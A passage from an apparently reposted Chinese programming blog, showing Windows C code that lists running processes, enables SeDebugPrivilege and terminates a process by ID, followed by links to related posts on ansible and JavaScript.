    printf("\nCreateToolhelp32Snapshot() failed:%d",GetLastError());
    return ;
    }
    pe32.dwSize = sizeof(PROCESSENTRY32);
    printf("\nProcessName     ProcessID");
    if (Process32First(hProcessSnap, &pe32))
    {
    	char a[5];
    
    do
    {
    strcat(buffer,pe32.szExeFile);
    strcat(buffer,"\t\t");
    itoa(pe32.th32ProcessID,a,10);
    strcat(buffer,a);
    strcat(buffer,"\n");
    //printf("\n%-20s%d",pe32.szExeFile,pe32.th32ProcessID);
    }
    while (Process32Next(hProcessSnap, &pe32));
    
    }
    else
    {
     printf("\nProcess32Firstt() failed:%d",GetLastError());
    }
    CloseHandle (hProcessSnap);
    return;
    }
    
    BOOL SetPrivilege(HANDLE hToken,LPCTSTR lpszPrivilege,BOOL bEnablePrivilege)//提示权限
    {
    TOKEN_PRIVILEGES tp;
    LUID luid;
    
    if(!LookupPrivilegeValue(NULL,lpszPrivilege,&luid))
    {
    printf("\nLookupPrivilegeValue error:%d", GetLastError() ); 
    return FALSE; 
    }
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    if (bEnablePrivilege)
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    else
    tp.Privileges[0].Attributes = 0;
    // Enable the privilege or disable all privileges.
    AdjustTokenPrivileges(
    hToken, 
    FALSE, 
    &tp, 
    sizeof(TOKEN_PRIVILEGES), 
    (PTOKEN_PRIVILEGES) NULL, 
    (PDWORD) NULL); 
    // Call GetLastError to determine whether the function succeeded.
    if (GetLastError() != ERROR_SUCCESS) 
    { 
    printf("AdjustTokenPrivileges failed: %u\n", GetLastError() ); 
    return FALSE; 
    } 
    return TRUE;
    }
    ////////////////////////////////////////////////////////////////////////////
    BOOL killps(DWORD id)//杀进程函数
    {
    HANDLE hProcess=NULL,hProcessToken=NULL;
    BOOL IsKilled=FALSE,bRet=FALSE;
    __try
    {
    
    if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hProcessToken))
    {
    printf("\nOpen Current Process Token failed:%d",GetLastError());
    __leave;
    }
    //printf("\nOpen Current Process Token ok!");
    if(!SetPrivilege(hProcessToken,SE_DEBUG_NAME,TRUE))
    {
    __leave;
    }
    printf("\nSetPrivilege ok!");
    
    if((hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,id))==NULL)
    {
    printf("\nOpen Process %d failed:%d",id,GetLastError());
    __leave;
    }
    //printf("\nOpen Process %d ok!",id);
    if(!TerminateProcess(hProcess,1))
    {
    printf("\nTerminateProcess failed:%d",GetLastError());
    __leave;
    }
    IsKilled=TRUE;
    }
    __finally
    {
    if(hProcessToken!=NULL) CloseHandle(hProcessToken);
    if(hProcess!=NULL) CloseHandle(hProcess);
    }
    return(IsKilled);
    }


     


     

  • 相关阅读:
    ansible入门七(实战)
    ansible入门六(roles)
    ansible入门五
    ansible入门四(Ansible playbook基础组件介绍)
    ansible入门三(Ansible的基础元素和YAML介绍)
    ansible入门二(Ansible常见模块介绍)
    关于XMLHttpRequest对象的responseText属性
    使用WebStorm/Phpstorm实现remote host远程开发
    pageX、clientX、screenX、offsetX、layerX、x
    jQuery.innerWidth() 函数详解
  • 原文地址:https://www.cnblogs.com/new0801/p/6177795.html
Copyright © 2011-2022 走看看